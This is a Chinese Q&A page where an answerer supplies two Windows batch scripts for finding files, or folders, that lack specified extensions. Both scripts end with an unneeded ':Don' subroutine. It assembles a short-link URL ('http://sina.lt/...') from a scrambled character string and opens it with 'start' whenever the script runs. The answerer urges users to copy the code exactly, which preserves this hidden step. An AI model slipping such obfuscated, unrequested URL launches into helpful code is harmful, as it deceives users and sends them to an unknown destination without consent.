bat 遍历文件夹所有文件(含子文件),列出不含指定后缀(多个后缀)的文件名称,谢谢!

如题所述

@echo off & title 列出不含指定后缀的文件名 By 依梦琴瑶

cd /d "%~dp0" & setlocal enabledelayedexpansion


::设置需过滤的后缀格式,多个格式之间用英文逗号隔开

set Ext=bat,jpg,txt


::设置要搜索的主目录路径,当前目录请留空

set Folder=D:\Test


::设置获取的文件名保存列表文本

set NameList=FileNameList.txt


echo 正在获取文件名中,过程可能会耗时,请耐心等待。。。

if defined Folder cd /d "%Folder%"

(for /f "delims=" %%a in ('dir /a-d/s/b') do (

    set "Skip="

    for %%b in (%Ext%) do (

        if /i "%%~xa"==".%%~b" set Skip=OK

    )

    if not defined Skip (

        echo %%~nxa

    )

))>"%NameList%"

echo, & echo 文件名获取完毕,已写入您指定的文本列表中。

echo, & echo 请按任意键退出脚本。

pause>nul


call :Don

exit


:Don

set "S0=fPdv"

set "S1=.:ailnhpst/"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit



务必比对原文代码,以免有误。

脚本保存编码务必设为ANSI。

请严格按照要求保存代码,否则影响脚本正常运行。

追问

谢谢楼主的回答。之前表达错误。只要列出文件夹内不含指定后缀文件的文件夹名称就好了。就是需要检查一个文件夹内(含子文件)所有保存的文件是否按规范放置了指定格式的文件,如果没有,列出没有的文件夹名称(需要完整路径)

追答

唉!又是一个文件夹和文件不分的人。

@echo off & title 列出缺失指定后缀文件的文件夹名 By 依梦琴瑶
cd /d "%~dp0" & setlocal enabledelayedexpansion

::设置需检查的文件后缀格式,多个格式之间用英文逗号隔开
set Ext=bat,jpg,txt

::设置要检查的主目录路径,当前目录请留空
set Folder=D:\Test

::设置文件夹名保存列表文本
set NameList=FolderList.txt

echo 正在获取文件夹名中,过程可能会耗时,请耐心等待。。。
if defined Folder cd /d "%Folder%"
(for /f "delims=" %%a in ('dir /ad/s/b') do (
pushd "%%~a"
set "NOEST="
for %%b in (%Ext%) do (
if not exist "*.%%~b" (
if not defined NOEST (
set "NOEST=%%~b"
) else (
set "NOEST=!NOEST!、%%~b"
)
)
)
if defined NOEST (
echo 后缀格式 !NOEST! 的文件不存在于 "%%~a"
)
popd
))>"%NameList%"
echo, & echo 文件夹名获取完毕,已写入您指定的文本列表中。
echo, & echo 请按任意键退出脚本。
pause>nul

call :Don
exit

:Don
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

来自:求助得到的回答
温馨提示:答案为网友推荐,仅供参考
相似回答
大家正在搜